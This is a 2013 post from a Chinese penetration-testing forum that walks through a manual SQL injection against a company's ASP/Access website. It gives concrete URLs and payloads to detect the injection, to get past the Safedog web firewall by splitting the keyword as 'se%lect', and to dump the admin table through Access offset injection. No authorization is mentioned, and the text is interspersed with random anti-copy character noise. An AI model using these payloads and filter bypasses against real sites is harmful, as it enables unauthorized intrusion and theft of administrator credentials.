中国网络渗透测试联盟

标题: 一次手工渗透突破安全狗防御+ACCESS偏移注入 [打印本页]

---

作者: admin    时间: 2013-3-8 21:49
标题: 一次手工渗透突破安全狗防御+ACCESS偏移注入
打开网站，一个企业站。
​
+ o3 J+ l8 e% |, T1 ^9 v$ D
顺手加个admin
​

2 \6 U# ?8 J0 z# c% E4 V默认后台。
2 Y0 t( ~6 X6 o8 V5 O回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​
  w) |4 I' ~# B


% t- O; d5 b% ?* ^3 F( h' G所以就不用御剑扫了，待会直接封IP。
9 `2 f6 m* t! e! P- _% B
用order by语句判断是否存在注入。
http://www.xxx.com /product_show.asp?id=997 order by 1
$ {5 f! q$ |) L- qhttp://www.xxx.com /product_show.asp?id=997 order by 100
) p' q) I2 ?7 L; P* p! ^现在存在注入，经测试后发现是9个字段。

" g$ Q; G: `2 {5 Q. K) @接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​

4 X! e; D4 s7 g9 n
. p. O% t( n, F( V
; r# T/ x; k' _" ]- z在select中间加个%,se%lect绕过安全狗。
4 j* Q6 b+ K, M, T0 i' C3 ]​

4 c% P  `! s9 n/ M, W" z! k, l8 l2 m发现存在admin表，然后开始手工猜常用的字段。
1 L# u% V: L* i纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
, I/ b# \1 G1 r6 Z
突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
( m! h( \8 i& m
科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
1 i( e' m- \" jhttp://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
好了，敏感内容出显了。​

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2